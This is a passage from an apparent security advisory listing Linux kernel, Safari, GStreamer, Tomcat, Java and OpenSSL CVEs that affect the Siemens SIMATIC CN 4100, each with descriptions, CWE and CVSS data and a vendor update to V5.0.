0000000000000000 x15: 0000000000000003 x14: 0000000000000001 x13: 0000000000000000 x12: 0101010101010101 x11: 0000000000000001 x10: 0000000000000001 x9 : ffff800080e08d0c x8 : ffff001f98f9fb88 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : ffff001f83e761e0 x1 : 00000000ffff001f x0 : 0000000000100cca Call trace: tee_shm_put+0x24/0x188 tee_shm_free+0x14/0x28 __optee_disable_shm_cache+0xa8/0x108 optee_shutdown+0x28/0x38 platform_shutdown+0x28/0x40 device_shutdown+0x144/0x2b0 kernel_power_off+0x3c/0x80 hibernate+0x35c/0x388 state_store+0x64/0x80 kobj_attr_store+0x14/0x28 sysfs_kf_write+0x48/0x60 kernfs_fop_write_iter+0x128/0x1c0 vfs_write+0x270/0x370 ksys_write+0x6c/0x100 __arm64_sys_write+0x20/0x30 invoke_syscall+0x4c/0x120 el0_svc_common.constprop.0+0x44/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x24/0x88 el0t_64_sync_handler+0x134/0x150 el0t_64_sync+0x14c/0x15\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39866\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&inode->i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode->i_wb spin_unlock(&inode->i_lock); spin_lock(&wb->list_lock) spin_lock(&inode->i_lock) inode_io_list_move_locked spin_unlock(&wb->list_lock) spin_unlock(&inode->i_lock) spin_lock(&old_wb->list_lock) inode_do_switch_wbs spin_lock(&inode->i_lock) inode->i_wb = new_wb spin_unlock(&inode->i_lock) spin_unlock(&old_wb->list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-40300\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-43368\n<div class=\"csaf-accordion-content\">\n\nA use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26, iOS 26 and iPadOS 26, macOS Tahoe 26. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-47219\n<div class=\"csaf-accordion-content\">\n\nIn GStreamer through 1.26.1, the isomp4 plugin's qtdemux_parse_trak function may read past the end of a heap buffer while parsing an MP4 file, possibly leading to information disclosure.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n8.1\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-48989\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat made Tomcat vulnerable to the made you reset attack. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.9, from 10.1.0-M1 through 10.1.43 and from 9.0.0.M1 through 9.0.107. Older, EOL versions may also be affected. Users are recommended to upgrade to one of versions 11.0.10, 10.1.44 or 9.0.108 which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53057\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53066\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55752\n<div class=\"csaf-accordion-content\">\n\nRelative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-23 Relative Path Traversal\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55754\n<div class=\"csaf-accordion-content\">\n\nImproper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.6\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61748\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 21.0.8 and 25; Oracle GraalVM for JDK: 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61795\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-2673\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21925\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: RMI). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.8\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21932\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: AWT, JavaFX). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.4\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21933\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div 